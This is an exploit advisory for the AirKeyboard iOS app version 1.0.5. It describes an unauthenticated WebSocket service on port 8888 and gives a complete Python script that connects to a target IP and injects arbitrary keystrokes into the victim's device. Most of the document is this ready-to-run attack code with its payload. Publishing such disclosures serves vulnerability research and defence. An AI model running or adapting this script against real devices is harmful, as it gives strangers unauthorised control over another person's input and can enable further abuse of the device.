AirKeyboard iOS App 1.0.5 – Remote Input Injection

Exploit Title: AirKeyboard iOS App 1.0.5 -…

# Exploit Title: AirKeyboard iOS App 1.0.5 – Remote Input Injection

# Date: 2025-06-13

# Exploit Author: Chokri Hammedi

# Vendor Homepage: https://airkeyboardapp.com

# Software Link: https://apps.apple.com/us/app/air-keyboard/id6463187929

# Version: Version 1.0.5

# Tested on: iOS 18.5 with AirKeyboard app

”’

Description:

The AirKeyboard iOS application exposes a WebSocket server on port 8888

which accepts arbitrary input injection messages from any client.

No authentication or pairing process is required. This allows any

attacker to type arbitrary keystrokes directly into the victim’s iOS device

in real-time without user interaction, resulting in full remote input

control.

”’

import websocket

import json

import time

target_ip = “192.168.8.101”

ws_url = f”ws://{target_ip}:8888″

text = “i’m hacker i can write on your keyboard :)”

keystroke_payload = {

“type”: 1,

“text”: f”{text}”,

“mode”: 0,

“shiftKey”: True,

“selectionStart”: 1,

“selectionEnd”: 1

}

def send_payload(ws):

print(“[+] Sending remote keystroke…”)

ws.send(json.dumps(keystroke_payload))

time.sleep(1)

ws.close()

def on_open(ws):

send_payload(ws)

def on_error(ws, error):

print(f”[!] Error: {error}”)

def on_close(ws, close_status_code, close_msg):

print(“[*] Connection closed”)

def exploit():

print(f”[+] Connecting to AirKeyboard WebSocket on {target_ip}:8888″)

ws = websocket.WebSocketApp(ws_url,

on_open=on_open,

on_error=on_error,

on_close=on_close)

ws.run_forever()

if __name__ == “__main__”:

exploit()